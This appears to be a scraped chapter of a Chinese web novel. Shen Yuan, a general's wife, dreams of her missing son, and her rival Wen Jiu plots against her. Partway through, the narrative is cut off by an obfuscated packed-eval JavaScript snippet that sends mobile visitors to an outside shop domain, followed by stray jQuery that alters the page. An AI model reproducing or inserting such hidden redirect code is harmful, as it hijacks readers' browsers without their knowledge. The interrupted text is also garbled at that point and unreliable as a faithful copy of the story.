呼,呼,呼……
耳边好像有浓重的喘息声音。
“娘,救我,快救我啊!”
“娘亲,我真的很想活下去,可是折磨太痛了,孩儿可能没办法活着见到您了。”
“娘亲,您又有别的孩子了吗?您是不是早就忘记了,您还有个叫明祯的孩儿……”
“沈缘,我恨你,我好想恨你啊!可是你怎么能先我一步**……娘亲,您睁开眼睛看看,我把他们都杀了,睁开眼睛看看好不好?求你,求你了。”
痛彻心扉的哭喊声音,从幼年到少年,一遍遍在沈缘脑海里回荡,全是一个人的声音。
明祯,那哭声一定是明祯。
他怎么了?
他为什么会哭的那样撕心裂肺?
梦里的情景模糊不堪,沈缘甚至没有办法鉴定那处的场景是在哪里。
她看着少年一点点崩溃,想喊出声,想去抱住他,可她什么也做不了。
她想这场戏剧的看客一样,只能隐藏在阴暗的角落,看着自己的孩子一点点崩溃。
“明祯!明祯……”
猛的坐起来,脑袋止不住的疼。
沈缘看着周围熟悉的场景,忽然感觉一阵干呕,趴在床边呕了半天,却什么都吐不出来,喉咙里又干又痒。
外面守着的人似乎终于听见了声音。
“夫人?”
新颜看出来了沈缘的窘迫,连忙倒了一杯新茶给她端过来,送到她唇边。
“咕咚,咕咚”
一碗茶被她两口喝完。
沈缘才感觉自己的嗓子好像恢复了一些。
“我这是……”
昏迷之前的事情迅速在她脑海里回旋,脸上的表情又惊又气。
惊的是,那狗|日的谢之衍敢直接对她的黑甜穴下手,真不怕给自己打成傻子吗?
气的是,上回谢之衍已经用过这一招将自己搞昏了,可她却因为陷在自己的情绪种无法自拔,以至于又让这魂淡给得逞。
再一再二,不再三!
下次,她指定给谢之衍敲回去。
“我想起来了。”
沈缘制止了新颜要给她回忆的话,脸上的表情铁青,她这就挣扎着要下床。
“那温酒不会还在吧?”
“我跟谢之衍那王八蛋不死不休!”
她身子摇摇晃晃的,满脸都是病怏怏的模样,别说再去跟谢之衍打一架了,便是多说两句话好像都要大喘气。
给新颜吓得心惊肉跳,连忙开口。
“没有,不在了。”
沈缘动作愣住。
“您睡了一整日,将军请了御医过来给您诊脉,说您那会儿是急火攻心,迷了心智,等到御医离开以后,将军就把温酒送回去了。”
“还让人将小公子的院子又打理了出来,让奴婢到门口上了一把黄铜大锁,说日后但凡不是您的命令,不允许任何人再打开那间院子。”新颜解释。
坐在床边的女子彻底愣住。
不确定似的看向身边的新颜:“他会那么好心的待我?他怎么可能会忍心委屈了他的娇娇,将人接回来,又将人送回去,多丢人。”
沈缘的脑子一时半会儿还有些转不过来。
“真相是这样,不过……将军是什么意思,奴婢也不知晓,只听说那位温姑娘抱着将军哭了许久,各种细节是两个人之间发生的,所以奴婢知道的并不仔细。”
坐在床边,沈缘只感觉太热了。
额头上呼呼冒出来的冷汗让她难受异常。
她忽然又想起来了做的那个梦。
是不是现在明祯真的处于什么危险中,因为母子连心的缘故,所以自己才会梦见?
可是最后那个跟明祯长的很相似的少年,哭着喊着求她别死的样子……
嘶!
脑袋无端的疼痛异常。
沈缘用力揪着自己的头发,想强迫自己想起来这个梦中的细节,可是脑海空空如也,连那些她原以为已经记住的画面,都在崩溃。
直到最后,她连那个少年的模样都想不起来了,唯有那份痛彻心扉的感觉,依然在自己内心中蔓延。
“昨日,有明祯消息传回来吗?”
沈缘的气压很低。
旁边的新颜一片默然,轻轻摇头。
京中的消息网已经大部分都被潜入京城的四平山庄庄主沈自在掌握,最近这两天传回来的消息都不是什么好消息。
新颜常安慰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692281|207932||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己,或许没有消息才是最好的消息,小公子指定被人救了。
可是这样的想法想多了,只感觉到了一阵空洞麻木,这样自欺欺人有什么用呢?
但她绝不允许自己先被夫人垮掉。
夫人的处境已经很难了,放在外面任何一个世家主母身上都足够算得上是灭顶之灾,就比如前些日子夫人刚认识的那位东林郡公家的赵夫人,想到自己收集到的那些消息……
新颜只庆幸自家夫人武将出身。
“继续找,给我继续找下去。”
“我要见人,死……我也要把我儿的尸体给找回来,我不能接受他一个人曝尸荒野。”
沈缘的眼眶又红又肿。
……
被谢之衍送回酒馆的温酒,此刻却并没有所有人想象中的那样要死要活。
她端坐在上位,底下跪着的人,分明是被她唤作父亲母亲的那一对儿酒馆老夫妻。
“你们继续保持原状就可以,别人来找你们麻烦,你们也得给我忍着,绝对不可以暴露出自己真正的实力。”
温酒的话,带着训诫的味道。
“是。”
夫妻二人哪还有平时里的那种唯唯诺诺,此刻连回答起来温酒的问题,都声音坚韧。
“退下吧。”
温酒一边抚摸自己的肚子,一边声音冷冷清清的对下面的两个人开口。
直到屋子内只剩下她自己一个人以后,原本她那张冷清淡漠的脸上,才终于出现了一抹怨毒,带着毁天灭地之势。
“该死的东西!”
桌子上放着的茶杯被她扫到地上。
瓷器碎片四溅。
袖中的拳头紧紧捏着。
此刻恨不能将沈缘生吞活剥。
自己都已经心甘情愿去给谢之衍做妾了,那女人竟然还能严防死守,做出那副善妒样。
谢之衍也是个蠢的。
以为他这大将军多么厉害的人物,却没有想到在感情这件事情上犹犹豫豫。
不过是丢了个孩子而已,搞得好像天下人都欠了他们夫妻!
孩子?对了,孩子!
想到那个找自己孩子找的疯了似的沈缘,一个毒计在温酒心中诞生。